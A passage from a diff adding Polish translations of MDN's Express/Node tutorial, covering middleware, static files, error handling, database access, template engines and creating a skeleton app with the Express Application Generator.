+<p>W dalszych częściach cyklu pokażemy więcej możliwości konfigurowania ścieżek, w szczególności korzystanie z obiektu  <code>Router</code> w rozdziale <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Routery i kontrolery.</a></p>
+
+<h3 id="Warstwa_pośrednia">Warstwa pośrednia</h3>
+
+<p>Warstwa pośrednia (middleware) jest bardzo istotną częścią aplikacji Express. Wykonuje ona wiele operacji począwszy od obsługi plików statycznych po kompresje odpowiedzi HTTP. Jeśli funkcje obsługi żądań są ostatnim etapem, w którym wysyłamy odpowiedź do klienta, to funkcje middleware po wykonaniu operacji na żądaniu lub odpowiedzi wywołują następną funkcje w łańcuchu, którą może być kolejna funkcja warstwy pośredniej lub końcowa funkcja obsługi żądania. O kolejnością wywołań funkcji middleware decyduje programista.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Warstwa pośrednia może wykonywać dowolne operacje, wykonywać dowolny kod, dokonywać zmian w żądaniu lub odpowiedzi a także może zakończyć cały cykl przetwarzania żądania w odpowiedź. Jeśli funkcja middleware nie kończy przetwarzania to musi wywołać metodę <code>next()</code>, która przekazuje sterowanie do następnej funkcji warstwy (w przeciwnym przypadku żądanie zostanie zawieszone). </p>
+</div>
+
+<p>Większość aplikacji korzysta z funkcji warstwy pośredniej firm trzecich, bo upraszcza to proces projektowania aplikacji webowych, w których korzystamy z ciasteczek, sesji, autentykacji użytkowników, danych w formacie JSON, logowania itd. Lista dostępnych pakietów znajduje się na stronie <a href="http://expressjs.com/en/resources/middleware.html">Express middleware</a> (łącznie z pakietami firm trzecich). Więcej pakietów jest dostępnych poprzez menadżer pakietów NPM.</p>
+
+<p>Pakiet middleware'u, który chcesz wykorzystać w swojej aplikacji, musisz najpierw zainstalować przy pomocy NPM. Załóżmy, że chcesz dodać logger żądań do warstwy pośredniej znajdujący się w pakiecie <a href="http://expressjs.com/en/resources/middleware/morgan.html">morgan</a> HTTP:</p>
+
+<pre class="brush: bash"><code>$ npm install morgan
+</code></pre>
+
+<p>Teraz powinieneś go dodać do stosu warstwy pośredniej wywołując metodę <code>use()</code>:</p>
+
+<pre class="brush: js">var express = require('express');
+<strong>var logger = require('morgan');</strong>
+var app = express();
+<strong>app.use(logger('dev'));</strong>
+...</pre>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Funkcje middleware'u i obsługi żadań wywoływane są w kolejności ich deklaracji. Dla wybranych pakietów ich miejsce w łańcuchu wywołań jest bardzo ważne (np. jeśli warstwa sesji zależy od warstwy obsługi ciasteczek, wtedy funkcja obsługi ciasteczek powinna być dodana jako pierwsza). W praktyce prawie zawsze funkcje warstwy pośredniej są dodawane przed definicją funkcji obsługi tras, gdyż w przeciwnym razie obsługa żądań nie będzie miała dostępu do funkcji warstwy pośredniej.</p>
+</div>
+
+<p>Oczywiście możesz tworzyć własne funkcje warstwy pośredniej, i prawdopodobnie będziesz zmuszony do ich definiowania (jak choćby funkcje obsługi błędów). Jedyną różnicą między funkcjami middleware'u, a funkcjami obsługi żądań jest dodatkowy, trzeci argument funkcji warstwy pośredniej. Argument ten, zazwyczaj o nazwie <code>next</code>, jest funkcją, której wywołanie uruchamia następną funkcje warstwy pośredniej. Każda funkcja middleware'u musi wywołać ten argument, gdyż tego oczekuje kontrakt przetwarzania żądania i odpowiedzi w warstwie pośredniej i to je odróżnia od funkcji, które tego nie robią lub nie posiadają takiego argumentu, na których kończy się cykl życia żądania.</p>
+
+<p>Wywołując metodę <code>app.use()</code> masz dwie możliwości włączania funkcji middleware'u do łańcucha przetwarzania żądania, określając czy funkcja ta obsługuje wszystkie żądania czy tylko o określonej metodzie protokołu HTTP (GET, POST itd.). Możesz też określić dla jakiś ścieżek funkcja ma działać, choć podanie ścieżki przy wowołaniu <code>app.use()</code> jest opcjonalne.</p>
+
+<p>W przykładzie poniżej możesz zobaczyć jak należy dodawać funkcje middleware'u bez i ze ścieżką.</p>
+
+<pre class="brush: js">var express = require('express');
+var app = express();
+
+// An example middleware function
+var a_middleware_function = function(req, res, <em>next</em>) {
+  // ... perform some operations
+  next(); // Call next() so Express will call the next middleware function in the chain.
+}
+
+// Function added with use() for all routes and verbs
+app.use(a_middleware_function);
+
+// Function added with use() for a specific route
+app.use('/someroute', a_middleware_function);
+
+// A middleware function added for a specific HTTP verb and route
+app.get('/', a_middleware_function);
+
+app.listen(3000);</pre>
+
+<div class="note">
+<p><strong>Wskazówka JavaScript:</strong> W przykładzie powyżej najpierw zadeklarowaliśmy funkcję middleware'u a następnie dodaliśmy ją jako funkcję zwrotną. W poprzednich przykładach funkcję zwrotną definiowaliśmy w miejscu definiowania funkcji obsługi żądania. W JavaScript oba podejścia są poprawne. </p>
+</div>
+
+<p>Dokumentacja Express zawiera o wiele więcej informacji na temat wykorzystania i definiowania warstwy pośredniej w aplikacjach webowych.</p>
+
+<h3 id="Obsługa_plików_statycznych">Obsługa plików statycznych</h3>
+
+<p>Aby Twoja aplikacja mogła obsługiwać pliki umieszczone na serwerze, jak pliki graficzne, CSS czy JavaScript, musi posiadać w warstwie pośredniej odpowiednią funkcję. Na szczęście jest ona częścią Express (jest to jedyna dostarczana z pakietem Express funkcja middlewaru). Jeśli na przykład, chcesz aby aplikacja umożliwiała klientom pobieranie plików z katalogu '<strong>public</strong>' (pliki CSS, JavaScript, grafika), który znajduje się w katalogu aplikacji, umieść poniższy kod:</p>
+
+<pre class="brush: js">app.use(express.static('public'));
+</pre>
+
+<p>Każdy plik z katalogu `public` jest teraz dostępny pod adresem URL z dołączoną na końcu nazwą tego pliku. Na przykład:</p>
+
+<pre><code>http://localhost:3000/images/dog.jpg
+http://localhost:3000/css/style.css
+http://localhost:3000/js/app.js
+http://localhost:3000/about.html
+</code></pre>
+
+<p>Możesz wielokrotnie dodać funkcję <code>static()</code>, aby dodać więcej katalogów z zasobami statycznymi. Jeśli plik nie zostanie znaleziony przez jedną funkcję middleware'u to żądanie tego pliku zostanie przekazane do następnej funkcji tej warstwy (kolejność wywołań funkcji jest zogdna z kolejnościa ich deklaracji).</p>
+
+<pre class="brush: js">app.use(express.static('public'));
+app.use(express.static('media'));
+</pre>
+
+<p>Istnieje też możliwość tworzenia wirtualnych przedrostów w URL do zasobów statycznych, tak aby nie udostępniać ich pod tym samym adresem bazowym URL. W rezultacie zasoby będą dostępne jakby były w odrębnym katalogu. Posłużmy się kolejnym przykładem, w którym podamy ścieżkę montowania katalogu `public` pod przedrostkiem "/media"</p>
+
+<pre class="brush: js">app.use('/media', express.static('public'));
+</pre>
+
+<p>Od tego momentu możesz dostać się do plików z katalogu <code>public</code> podając URL zakończony prefiksem  <code>/media</code> z umieszczoną za nim nazwą pliku:</p>
+
+<pre><code>http://localhost:3000/media/images/dog.jpg
+http://localhost:3000/media/video/cat.mp4
+http://localhost:3000/media/cry.mp3</code>
+</pre>
+
+<p>Więcej dowiesz się zaglądając do rozdziału <a href="Serving static files in Express">Udostępnianie plików statycznych w Express</a>.</p>
+
+<h3 id="Obsługa_błędów">Obsługa błędów</h3>
+
+<p>Błędy mogą być obsługiwane przez jedną lub więcej specjalnych funkcji middleware'u, które muszą posiadać cztery argumenty (w odróżnieniu od pozostałych, trójargumentowych funkcji tej warstwy) <code>(err, req, res, next)</code>. Popatrzmy na przykład poniżej:</p>
+
+<pre class="brush: js">app.use(function(err, req, res, next) {
+ console.error(err.stack);
+ res.status(500).send('Something broke!');
+});
+</pre>
+
+<p>Funkcje obsługi błędów mogą zwracać odpowiedzi o dowolnej zawartości, ale muszą zostać dodane metodą <code>app.use()</code>  po wszystkich pozostałych funkcjach tej warstwy, aby zostały wywołane na końcu procesu przetwarzania żądania.</p>
+
+<p>Express posiada wbudowany mechanizm obsługi wszelkich błędów mogących wystąpić w aplikacji. Ta domyślna obsługa znajduje się w warstwie pośredniej jako ostania funkcja tej warstwy. Jeśli wywołaniem <code>next()</code> przekażesz błąd do następnej funkcji, w której nic z tym błędem nie zrobisz, to zostanie on obsłużony przez domyślną funkcję, która wyśle do klienta opis błędu wraz z opisem śladu stosu.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Śledzenie stosu nie jest włączone do środowiska produkcyjnego. Aby je włączyć w trybie produkcyjnym musisz ustawić zmienną środowiskową <code>NODE_ENV</code> o wartości '<code>production'</code>. </p>
+</div>
+
+<div class="note">
+<p><strong>Uwaga:</strong> HTTP404  i pozostałe "błędy" kojarzone z kodem statusu nie są traktowane jako błędy. Jeśli chcesz je kontrolować to musisz dołączyć odpowiednią funkcję middleware'u. Więcej informacji znajdziesz w <a href="http://expressjs.com/en/starter/faq.html#how-do-i-handle-404-responses">FAQ</a>.</p>
+</div>
+
+<p>Więcje o obsłudze błędów możesz dowiedzieć się w <a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Dokumentacja Express).</p>
+
+<h3 id="Korzystanie_z_baz_danych">Korzystanie z baz danych</h3>
+
+<p>Aplikacja Express może korzystać z dowolnej bazy danych wspieranej przez środowisko Node (sam Express nie definiuje żadnych specjalnych zachowań ani wymagań odnośnie współpracy z bazami danych). Możliwa jest współpraca z wieloma silnikami BD, włączając takie jak PostgreSQL, MySQL, Redis, SQLite, MongoDB itd.</p>
+
+<p>Pierwszym krokiem jest zainstalowanie sterownika przy pomocy menadżera pakietów NPM. Na przykład zainstalowanie sterownika do popularnej bazy NoSQL MongoDB sprowadza się do wydania polecenia:</p>
+
+<pre class="brush: bash"><code>$ npm install mongodb
+</code></pre>
+
+<p>Silnik bazodanowy może być zainstalowany lokalnie lub na zdalnym serwerze. W kodzie aplikacji wymagany jest zainstalowany sterownik, przy pomocy którego łączymy się z bazą i wykonujemy typowe operacje jak tworzenie, odczyt, edycja i usunięcie (CRUD). W przykładzie poniżej (dokumentacja Express) możesz zobaczyć jak znaleźć i odczytać wszystkie ssaki z bazy zawierającej informacje o zwierzętach.</p>
+
+<pre class="brush: js">//this works with older versions of mongodb version ~ 2.2.33
+var MongoClient = require('mongodb').MongoClient;
+
+MongoClient.connect('mongodb://localhost:27017/animals', function(err, db) {
+ if (err) throw err;
+
+ db.collection('mammals').find().toArray(function (err, result) {
+ if (err) throw err;
+
+ console.log(result);
+ });
+});
+
+
+//for mongodb version 3.0 and up
+let MongoClient = require('mongodb').MongoClient;
+MongoClient.connect('mongodb://localhost:27017/animals', function(err, client){
+ if(err) throw err;
+  let db = client.db('animals');
+  db.collection('mammals').find().toArray(function(err, result){
+ if(err) throw err;
+  console.log(result);
+  client.close();
+  });
+});
+</pre>
+
+<p>Innym, popularnym modelem współpracy aplikacji z bazą danych jest ORM (Object Relational Mapping - mapowanie obiektowo relacyjne). Korzystanie z ORM powoduje, że dane utrwalane w bazie definiujemy jako obiekty lub modele, które są automatycznie mapowane na format bazodanowy. Zaletą takiego podejścia, jest to, że możesz myśleć w kategoriach obiektów JavaScript a nie formatu danych bazy, które w dodatku podlegają sprawdzeniu poprawności danych. Bardziej szczegółowo bazy danych omówimy w późniejszym artykule.</p>
+
+<p>Więcej informacji znajdziesz w <a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Dokumentacja Express).</p>
+
+<h3 id="Prezentacja_danych_widoki">Prezentacja danych (widoki)</h3>
+
+<p>Silniki szablonów (określane w Express jako "view engines") pozwalają Ci na łatwiejsze tworzenie dokumentów wysyłanych jako odpowiedź żądania. Taki dokument, a jest to najczęściej plik HTML lub inny typ dokumentu, zawiera specjalne znaczniki, w miejscu których silnik szablonów wstawia, przekazane z funkcji obsługi żądania, dane. Express wspiera wiele różnych silników widoków, więc przy wyborze najbardziej odpowiedniego można posłużyć się zestawieniem <a href="https://strongloop.com/strongblog/compare-javascript-templates-jade-mustache-dust/">Comparing JavaScript Templating Engines: Jade, Mustache, Dust and More</a>.</p>
+
+<p>Jeśli chcesz budować swoją aplikację w architekturze MVC musisz w niej wskazać położenie plików szablonów. W sekcji konfiguracyjnej aplikacji wskaż atrybutami 'views' lub 'view engine' katalog szablonów, tak jak poniżej:</p>
+
+<pre class="brush: js">var express = require('express');
+var app = express();
+
+// Set directory to contain the templates ('views')
+app.set('views', path.join(__dirname, 'views'));
+
+// Set view engine to use, in this case 'some_template_engine_name'
+app.set('view engine', 'some_template_engine_name');
+</pre>
+
+<p>Wygląd szablonu zależy od zastosowanego silnika generującego widoki, ale niezależnie od niego przekazanie danych do szablonu wygląda podobnie. Zakładając, że plik szablonu ma nazwę "index.&lt;template_extension&gt;", a w nim znajdują się znaczniki na umieszczenie zmiennych o nazwach `title` i `message`, to w funkcji obsługi żądania powinieneś wywołać <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code>, żeby klient otrzymał wygenerowany z szablonu dokument HTML:</p>
+
+<pre class="brush: js">app.get('/', function(req, res) {
+ res.render('index', { title: 'About dogs', message: 'Dogs rock!' });
+});</pre>
+
+<p>Więcej informacji o szablonach znajdziesz w <a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (dokumentacja Express).</p>
+
+<h3 id="Struktura_plików">Struktura plików</h3>
+
+<p>Express nie wymaga sztywnej struktury plików, składających się na aplikację. Kontrolery, widoki, pliki statyczne i pozostałe elementy aplikacji mogą być rozmieszczone w dowolnej liczbie plików rozmieszczonych w dowolnej strukturze katalogów. Choć możliwe jest zawarcie całej aplikacji w jednym pliku, to znacznie bardziej rozsądnym rozwiązaniem jest podzielenie aplikacji na pliki o określonych funkcjach. (np. zarządzanie kontem, blogi, forum dyskusyjne) i zgodnie z architekturą aplikacji (np. model, widok i kontroler jeśli jest to aplikacja w architekturze <a href="/en-US/docs/Glossary/MVC">MVC</a>)</p>
+
+<p>W dalszych rozdziałach będziemy korzystać <em>Express Application Generator</em>, który tworzy modularny szkielet aplikacji, którą możemy łatwo rozbudowywać.</p>
+
+<ul>
+</ul>
+
+<h2 id="Podsumowanie">Podsumowanie</h2>
+
+<p>Gratulacje, zrobiłeś pierwszy krok w swojej podróży z Express/Node! Mam nadzieję, że dobrze poznałeś najważniejsze zalety środowiska Express/Node i zrozumiałeś ogólne działanie najważniejszych elementów aplikacji (funkcje obsługi żądań, warstwa pośrednia, obsługa błędów, szablony widoków. Powinieneś też rozumieć, że Express jako elastyczny framework, nie narzuca Ci sposobu łączenia elementy aplikacji, ale Tobie pozostawia w tej kwestii wybór.</p>
+
+<p>W założeniu twórców Express jest lekkim frameworkiem. dlatego wiele jego zalet i możliwości pochodzi z bibliotek  i funkcji firm trzecich. Będziemy im się przyglądać bardzie szczegółowo w dalszych częściach cyklu. W następnym artykule będziemy poznawać konfigurację środowiska uruchomieniowego Node.</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="https://medium.com/@ramsunvtech/manage-multiple-node-versions-e3245d5ede44">Venkat.R - Manage Multiple Node versions</a></li>
+ <li><a href="https://nodejs.org/api/modules.html#modules_modules">Modules</a> (Node API docs)</li>
+ <li><a href="https://expressjs.com/">Express</a> (home page)</li>
+ <li><a href="http://expressjs.com/en/starter/basic-routing.html">Basic routing</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/routing.html">Routing guide</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/using-middleware.html">Using middleware</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/writing-middleware.html">Writing middleware for use in Express apps</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/database-integration.html">Database integration</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/starter/static-files.html">Serving static files in Express</a> (Express docs)</li>
+ <li><a href="http://expressjs.com/en/guide/error-handling.html">Error handling</a> (Express docs)</li>
+</ul>
+
+<div>{{NextMenu("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<h2 id="W_tym_module">W tym module</h2>
+
+<ul>
+ <li><a href="/pl/docs/Learn/Server-side/Express_Nodejs/Introduction">Wprowadzenie do Express/Node</a></li>
+ <li><a href="/pl/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/pl/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/pl/learn/server-side/express_nodejs/skeleton_website/index.html b/files/pl/learn/server-side/express_nodejs/skeleton_website/index.html
new file mode 100644
index 0000000000..d3a949c8cd
--- /dev/null
+++ b/files/pl/learn/server-side/express_nodejs/skeleton_website/index.html
@@ -0,0 +1,528 @@
+---
+title: 'Szkolenie z Express - część 2: Tworzenie szkieletu aplikacji webowej'
+slug: Learn/Server-side/Express_Nodejs/skeleton_website
+tags:
+ - Express
+ - Początkujący
+ - Szkolenie
+ - Wprowadzenie
+ - środowisko programisty
+translation_of: Learn/Server-side/Express_Nodejs/skeleton_website
+---
+<div>{{LearnSidebar}}</div>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<p class="summary">W drugim artykule cyklu <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Szkolenie z Express</a> zbudujemy "szkielet" aplikacji webowej, którą będziemy później rozbudowywać o kolejne elementy: ścieżki, szablony/widoki i odwołania do bazy danych. </p>
+
+<table class="learn-box standard-table">
+ <tbody>
+ <tr>
+ <th scope="row">Wymagania:</th>
+ <td>Przeczytanie artykułu <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Set up a Node development environment</a>.</td>
+ </tr>
+ <tr>
+ <th scope="row">Cele:</th>
+ <td>Umiejętność samodzielnego utworzenia własnego projektu aplikacji webowej za pomocą <em>Express Application Generator</em>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Wstęp">Wstęp</h2>
+
+<p>Artykuł przedstawia tworzenie szkieletu aplikacji webowej Biblioteka przy pomocy narzędzia <a href="https://expressjs.com/en/starter/generator.html">Express Application Generator</a>. W kolejnych artukułach będziemy ją rozbudowywać o kolejne elementy. Proces tworzenia jest bardzo prosty i wymaga wywołania tylko jednego polecenia z nazwą budowanej aplikacji. Opcjonalnie można także podać silnik do renderowania widoków i generator CSS.</p>
+
+<p>W kolejnych sekcjach przyjrzymy się bliżej działaniu generatora, poznamy opcje widoków/CSS. Zostanie też wyjaścniona struktura utworzonej aplikacji. Na zakończenie poznasz metody uruchomienia utworzonej aplikacji oraz zweryfikowania jej działania. </p>
+
+<div class="note">
+<p><span style="line-height: 1.5;"><strong>Uwaga</strong>: <em>Express Application Generator</em> nie jest jedynym narzędziem do tworzenia aplikacji Express, a struktura utworzonych projektów nie jest jedyną właściwą. Wygenerowana aplikacji posiada modularną strukturę, która może być łatwo rozszerzana oraz jest wystarczająco przejrzysta i zrozumiała.  Informacje o tym jak zrobić minimalną aplikację Express znajdziesz w <a href="https://expressjs.com/en/starter/hello-world.html">Hello world example</a> (dokumentacja Express).</span></p>
+</div>
+
+<div class="note">
+<p><span style="line-height: 1.5;"><strong>Uwaga</strong>: W tym szkoleniu wykorzystano wersję Express zdefiniowaną w pliku <strong>package.json</strong> utworzonym automatycznie przez <em>Express Application Generator.</em> I niekoniecznie jest to najnowsza wersja! </span></p>
+</div>
+
+<h2 id="Korzystanie_z_generatora_aplikacji">Korzystanie z generatora aplikacji</h2>
+
+<p>Powinieneś mieć zainstalowany generator jako część środowiska przygotowanego w artykule <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Przygotowanie środowiska programisty Node</a>. W ramach przypomnienia instalacja generatora aplikacji Express wymaga wpisania poniższego polecenia:</p>
+
+<pre class="brush: bash notranslate"><code>npm install express-generator -g</code></pre>
+
+<p>Generator posiada wiele opcji, które możesz poznać za pomocą polecenia <code>--help</code> (lub <code>-h</code>):</p>
+
+<pre class="brush: bash notranslate">&gt; express --help
+
+    Usage: express [options] [dir]
+
+
+  Options:
+
+        --version        output the version number
+    -e, --ejs            add ejs engine support
+        --pug            add pug engine support
+        --hbs            add handlebars engine support
+    -H, --hogan          add hogan.js engine support
+    -v, --view &lt;engine&gt;  add view &lt;engine&gt; support (dust|ejs|hbs|hjs|jade|pug|twig|vash) (defaults to jade)
+        --no-view        use static html instead of view engine
+    -c, --css &lt;engine&gt;   add stylesheet &lt;engine&gt; support (less|stylus|compass|sass) (defaults to plain css)
+        --git            add .gitignore
+    -f, --force          force on non-empty directory
+    -h, --help           output usage information
+</pre>
+
+<p>Wpisując wyłącznie polecenie <code>express</code> utworzysz projekt w bieżącym katalogu z domyślnym silnikiem zablonów Jade i czystym CSS. Dodanie nazwy katalogu spowoduje utworzenie projektu w tym właśnie katalogu.     </p>
+
+<pre class="brush: bash notranslate"><code>express</code></pre>
+
+<p>Opcją <code>--view</code> możesz wyspecyfikować inny generator widoków a <code>--css</code> podać preprocesor CSS.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong>  Pozostałe opcje wyboru silnika szablonów(n.p. <code>--hogan</code>, <code>--ejs</code>, <code>--hbs</code> itd.) są już przestarzałe i nie należy z nich korzystać . Skorzystaj z opcji <code>--view</code> (or<code> -v</code>)!</p>
+</div>
+
+<h3 id="Jaki_silnik_szablonów_wykorzystać">Jaki silnik szablonów wykorzystać?</h3>
+
+<p>Paczka <em>Express Application Generator</em> pozwala na skonfigurowanie wielu popularnych silników renderujących, w tym <a href="https://www.npmjs.com/package/ejs">EJS</a>, <a href="http://github.com/donpark/hbs">Hbs</a>, <a href="https://pugjs.org/api/getting-started.html">Pug</a> (Jade), <a href="https://www.npmjs.com/package/twig">Twig</a> i <a href="https://www.npmjs.com/package/vash">Vash</a>, spośród których to Jade jest domyślnie instalowany w sytuacji braku specyfikacji silnika. Sam Express wspiera znaczną liczbę innych języków szablonów <a href="https://github.com/expressjs/express/wiki#template-engines">out of the box</a>.</p>
+
+<div class="note">
+<p><strong>Uwaga:</strong> Jeśli chcesz skorzystać z silnika, który nie jest wspierany przez generator to zapoznaj się publikacją <a href="https://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (dokumentacja Express) i dokuemntacją wybranego silnika.</p>
+</div>
+
+<p>Ogólnie mówiąc powinnieneś wybrać taki silnik szablonów, który dostarcza wszystkich potrzebnych Ci funkcji i pozwala na szybkie osiągnięcie produktywności. Innymi słowy kieruj się tymi samymi regułami, którymi się kierujesz wybierając pozostałe komponenty. Podczas wyboru powinieneś rozważyć kilka kwestii:</p>
+
+<ul>
+ <li>czas osiągnięcia zadawalającej produktywności - jeśli Twój zespół posiada już jakieś doświadczenie w pracy z danym jezykiem szablonów to zapewne szybciej osiągnie sprawność w posługiwaniu się nim. Jeśli nie, to rozważ język łatwy do przyswojenia.    </li>
+ <li>popularność i aktywność - rozważ wybór silnika popularnego i posiadającego aktywną społeczność. Jest to ważne, bo pozwala mieć wsparcie doświadczonych użytkowników w problematycznych sytuacjach pojawiających się w trakcie cyklu życia aplikacji. </li>
+ <li>styl - niektóre silniki szablonów korzystają ze speyficznych znaczników do oznaczania miejsc wypełnianych zawartością pośród "zwykłego" kodu HTML, a inne korzystają ze specyficznej składni (np. w postaci wcięć lub nazw bloków).</li>
+ <li>wydajność/ czas renderowania</li>
+ <li>funkcjonalność - warto uwzględnić podczas wyboru silnika także dostepność następujących funkcji:
+ <ul>
+ <li>Dziedziczenie layoutów: ten mechanizm pozwala zdefiniować szablon bazowy, który może zostać wykorzystany do budowy kolejnych poprzez przejęcie fragmentów bazowego i dodanie elementów specyficznych dla tworzonego szablonu. Jest to znacznie lepsze podejście od budowania szablonu na zasadzie dołączania wymaganych komponentów lub tworzenia za każdym razem od podstaw.    </li>
+ <li>Wsparcie dla dyrektywy typu "include": tego typu dyrektywa pozwala na umieszczanie w szablonie innych szablonów.</li>
+ <li>Możliwość definiowania zmiennych i wykonywania instrukcji ieracyjnych.</li>
+ <li>Zdolność formatowania wartości na poziomie szablonu (np. operacja typu upper-case, formatowanie daty).</li>
+ <li>Zdolność generowania dokumentów wyjściowych w innych formatach od HTML (np. JSON lub XML).</li>
+ <li>Obsługa operacji asynchronicznych i przesyłania strumieniowego.</li>
+ </ul>
+ </li>
+</ul>
+
+<div class="note">
+<p><strong>Wskazówka: </strong> W Intenecie znajduje się wiele zasobów, które mogą pomóc w porównaniu wiel opcji!</p>
+</div>
+
+<p>W naszym projekcie wykorzystamy generator szablonów <a href="https://pugjs.org/api/getting-started.html">Pug</a> (poprzednio funkcjonował pod nazwą Jade), który jest najpopularniejszym narzędziem tego typu w środowisku Express/JavaScript i intalowanym wraz z generatorem aplikacji.</p>
+
+<h3 id="Jakiego_preprocesora_arkuszy_stylów_CSS_należy_użyć">Jakiego preprocesora arkuszy stylów CSS należy użyć?</h3>
+
+<p><em>Express Application Generator</em> pozwala na utworzenie projektu, który można skonfigurować do pracy z najbardziej znanymi preprocesorami stylów CSS: <a href="http://lesscss.org/">LESS</a>, <a href="http://sass-lang.com/">SASS</a>, <a href="http://compass-style.org/">Compass</a>, <a href="http://stylus-lang.com/">Stylus</a>.</p>
+
+<div class="note">
+<p><strong>Uwaga: </strong>CSS  posiada pewne ograniczenia, które czynią definiowanie niektórych reguł bardzo trudnymi. Preprocesory dają możliwość wykorzystania bogatszej i o znacznie wiekszych możliwościach składni do definiowania reguł styli i kompilacji ich do tradycyjnego formatu CSS wykorzystywanego przez przeglądarki.</p>
+</div>
+
+<p>Podobnie jak przy wyborze silnika szablonów, tak i przy wyborze preprocesora powinieneś się kierować preferencjami zespołu, aby osiągnąć żądaną produktywność. W naszym projekcie wykorzystamy ustawienia domyślne, czyli tzw. vanilla CSS, ponieważ nie będziemy korzystać ze zbyt skomplikowanych reguł, a czysty CSS będzie dla nas wystarczająco dobry.</p>
+
+<h3 id="Jakiej_bazy_danych_uzyć">Jakiej bazy danych uzyć?</h3>
+
+<p>Wygenerowany kod aplikacji nie jest skonfigurowany do współpracy z bazą danych. Oczywiście aplikacje <em>Express</em> moga korzystać z  <a href="https://expressjs.com/en/guide/database-integration.html">dowolnego silnika bazodanowego</a> wspieranego przez środowisko Node (sam <em>Express</em> nie stawia żadnych specjalnych wymagań co do stosowanej bazy danych). Itegrację aplikacji z bazą danych omówimy w późniejszym artykule.</p>
+
+<h2 id="Tworzenie_projektu">Tworzenie projektu</h2>
+
+<p>Stworzymy na początek przykładowy projekt pod nazwą <em>express-locallibrary-tutorial </em>korzystający z generatora szablonów Pug<em> </em>i<em> </em>czystego CSS.</p>
+
+<p>Utwórz katalog projektu o podanej wyżej nazwie i przejdź do niego. Uruch teraz <em>Express Application Generator</em> wpisując w wierszu poleceń (terminalu) poniższą komendę:</p>
+
+<pre class="brush: bash notranslate">express express-locallibrary-tutorial --view=pug
+</pre>
+
+<p>Generator aplikacji utworzy poniższą strukturę plików i katalogów.</p>
+
+<pre class="brush: bash notranslate">   create : express-locallibrary-tutorial\
+   create : express-locallibrary-tutorial\public\
+   create : express-locallibrary-tutorial\public\javascripts\
+   create : express-locallibrary-tutorial\public\images\
+   create : express-locallibrary-tutorial\public\stylesheets\
+   create : express-locallibrary-tutorial\public\stylesheets\style.css
+   create : express-locallibrary-tutorial\routes\
+   create : express-locallibrary-tutorial\routes\index.js
+   create : express-locallibrary-tutorial\routes\users.js
+   create : express-locallibrary-tutorial\views\
+   create : express-locallibrary-tutorial\views\error.pug
+   create : express-locallibrary-tutorial\views\index.pug
+   create : express-locallibrary-tutorial\views\layout.pug
+   create : express-locallibrary-tutorial\app.js
+   create : express-locallibrary-tutorial\package.json
+   create : express-locallibrary-tutorial\bin\
+   create : express-locallibrary-tutorial\bin\www
+
+   change directory:
+     &gt; cd express-locallibrary-tutorial
+
+   install dependencies:
+     &gt; npm install
+
+  run the app (Bash (Linux or macOS))
+  &gt; <code>DEBUG=express-locallibrary-tutorial:* npm start
+</code>
+  run the app (PowerShell (Windows))
+<code> &gt; $ENV:DEBUG = "express-locallibrary-tutorial:*"; npm start
+</code>
+   run the app (Command Prompt (Windows)):
+     &gt; SET DEBUG=express-locallibrary-tutorial:* &amp; npm start
+</pre>
+
+<p>Na końcu zwróconych przez generator komunikatów znajdują się instrukcje w jaki sposób zainstalować wymagane pakiety (ich spis znajduje się w pliku <strong>package.json</strong>) i jak uruchomić aplikację.</p>
+
+<h2 id="Uruchomienie_szkieletu_aplikacji">Uruchomienie szkieletu aplikacji</h2>
+
+<p>W katalogu mamy na razie kompletny szkielet naszego projektu, a nasza aplikacja nie wykonuje zbyt wielu zadań. Warto jednak uruchmić ją w tej początkowej postaci, aby sprawdzić czy działa.</p>
+
+<ol>
+ <li>Na początku zainstaluj zależności(polecenie <code>install</code> pobierze wymienione w <strong>package.json</strong> pliki).
+
+ <pre class="brush: bash notranslate">cd express-locallibrary-tutorial
+npm install</pre>
+ </li>
+ <li>Uruchom aplikację.
+ <ul>
+ <li>W systemie Windows użyj tego polecenia:
